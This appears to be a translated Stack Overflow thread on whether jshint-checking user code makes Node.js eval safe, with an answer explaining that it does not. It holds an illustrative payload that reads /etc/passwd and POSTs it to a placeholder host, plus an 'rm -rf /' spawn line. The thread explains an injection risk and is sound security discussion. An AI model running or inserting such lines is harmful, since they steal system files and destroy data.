【问题标题】:Is javascript eval still dangerous if code is checked using (for example) jshint before eval?如果在 eval 之前使用(例如)jshint 检查代码,javascript eval 是否仍然危险?
【发布时间】:2015-08-22 19:41:53
【问题描述】:

想象一下,例如(授权的)用户可以将自定义格式化程序提交到具有类似这样代码的 nodejs 服务器。

var JSHINT = require('jshint').JSHINT;

function formatterFactory(code) {
   // we could pass more options to jshint...
   JSHINT(code, {undef:true},['input','output']);
   if (JSHINT.data().errors) {
      // throw error...
      console.dir(JSHINT.errors);
      throw new Error(JSHINT.data().errors[0].reason);
   }
   // otherwhise eval
   return function(input) {
     var output;
     eval(code);
     return output;
   }
}

var userNastyCode = '                   \
  var http = require("http");           \
  var fs = require("fs");               \
  http.request({                        \
    method: "POST",                     \
    host: "example.org",                \
    path: "/muahaha"                    \
  }, function(res) {                    \
    res.resume();                       \
  }).end(fs.readFileSync("/etc/passwd"));';

var userFormatter = formatterFactory(userNastyCode);

userFormatter('some thing');

// throws error 'require' is not defined.

【问题讨论】:

  • 是的,它仍然很危险。 jshint 仅适用于代码样式检查。
  • @redben 初学者的无限循环。访问局部和全局变量(包括require())...
  • 您的问题表明对 JSHint 的用途缺乏了解,以及为什么使用 eval 会产生安全问题。这两件事是完全无关的。您不能使用 JSHint 使用户提供的输入对eval 安全,并且从安全的角度来看,您无需担心eval,除非您让一个用户eval 另一个用户的 输入,您正在运行用户输入的代码服务器端
  • @redben 除了用户提供的输入还可以包括 cmets 以抑制任何和所有 JSHint 警告。 JSHint 与验证用户输入完全无关,它不能用于这样做。
  • 我不明白为什么会有这么多反对者。 OP 不太了解是什么影响了eval() 安全(因此他们提出了一个问题),但问题很明确并且很容易回答。我认为这个问题没有任何问题。

标签: javascript node.js eval jshint javascript-injection


【解决方案1】:

用户提供的文本对eval 来说永远不安全,或者至少应该被认为永远不安全,因为您为证明安全所付出的努力远远超过了以不同方式完成您想要的事情的努力。

JSHint 着眼于代码语法和(可能有些主观的)质量衡量标准,恶意代码完全能够满足这两件事。例如,如果您让我在您的服务器上运行它,这是很可爱的代码,可能会造成很大的损害:

require('child_process').spawn('rm', ['-rf', '/']);

JSHint 不会抱怨它,如果您有自定义配置,我可以修改我的代码以通过,或者如 cmets 中所述,只需包含我自己的配置以使 JSHint 安静下来。你应该记住的是,如果你让我把代码交给你运行,我可以做任何你能做的事情。这比只允许我直接编辑您的文件要困难一些,但是您没有真正的方法可以阻止我做您不想要的事情。

在这种特殊情况下,我会考虑几件事:

  • 您真的需要用户编写完全任意的格式化程序吗?也许你可以给他们一些已知的选项来选择。
  • 您知道要格式化的数据是什么(数字、日期等)吗?您可以放心地让他们选择任意格式以应用于数据类型,例如 yyyy-mm-dd,而无需让他们选择自己的 JS,并且您可以将格式化字符串传递给许多库。
  • 你能在他们的浏览器中运行他们的代码吗?他们已经可以在开发人员控制台中运行他们想要的任何 JS,因此如果您可以设置它以便他们的格式化程序在类似的上下文中运行,那么您还没有打开任何漏洞。 (我从未尝试过;它仍然感觉很冒险。)

无论你最终得到什么,我都会在你自己的代码中禁用 JSHint 的 evil 选项 :)

【讨论】:

  • 终于有答案了,谢谢!实际上格式化程序只是一个足够接近的例子(1输入1输出)。我自己从未使用过 eval,但在我当前的项目/功能中,它确实会让事情变得简单。我正在用 jshint 做一些测试(如我所问)并禁用其他一些功能(@mscdex 所说的循环关键字和函数声明)。但我必须承认,它开始看起来像是针对Cockroaches 的核武器。我想我最好选择某种简单的 DSL。
  • DSL 听起来是个不错的主意。我通常认为这是你想要列入白名单和黑名单的东西。 safe_eval 黑名单几乎是不可能的,因为 DSL 只实现你需要的东西应该很容易推理。
猜你喜欢
  • 2016-06-18
  • 2012-11-18
  • 1970-01-01
  • 1970-01-01
  • 2013-11-08
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多